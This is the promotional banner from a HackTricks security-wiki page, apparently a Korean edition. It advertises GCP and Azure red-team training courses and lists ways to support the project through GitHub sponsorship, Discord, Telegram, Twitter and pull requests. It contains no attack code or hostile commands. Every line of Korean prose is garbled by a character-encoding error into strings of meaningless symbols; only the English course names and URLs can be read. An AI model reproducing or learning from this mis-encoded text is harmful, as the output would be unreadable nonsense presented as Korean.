> GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>HackTricks ์ง€์›ํ•˜๊ธฐ</summary>
>
> - [**๊ตฌ๋… ๊ณ„ํš**](https://github.com/sponsors/carlospolop) ํ™•์ธํ•˜๊ธฐ!
> - **๐Ÿ’ฌ [**๋””์Šค์ฝ”๋“œ ๊ทธ๋ฃน**](https://discord.gg/hRep4RUj7f) ๋˜๋Š” [**ํ…”๋ ˆ๊ทธ๋žจ ๊ทธ๋ฃน**](https://t.me/peass)์— ์ฐธ์—ฌํ•˜๊ฑฐ๋‚˜ **ํŠธ์œ„ํ„ฐ** ๐Ÿฆ [**@hacktricks_live**](https://twitter.com/hacktricks_live)**๋ฅผ ํŒ”๋กœ์šฐํ•˜์„ธ์š”.**
> - **[**HackTricks**](https://github.com/carlospolop/hacktricks) ๋ฐ [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) ๊นƒํ—ˆ๋ธŒ ๋ฆฌํฌ์ง€ํ† ๋ฆฌ์— PR์„ ์ œ์ถœํ•˜์—ฌ ํ•ดํ‚น ํŠธ๋ฆญ์„ ๊ณต์œ ํ•˜์„ธ์š”.**
>
> </details>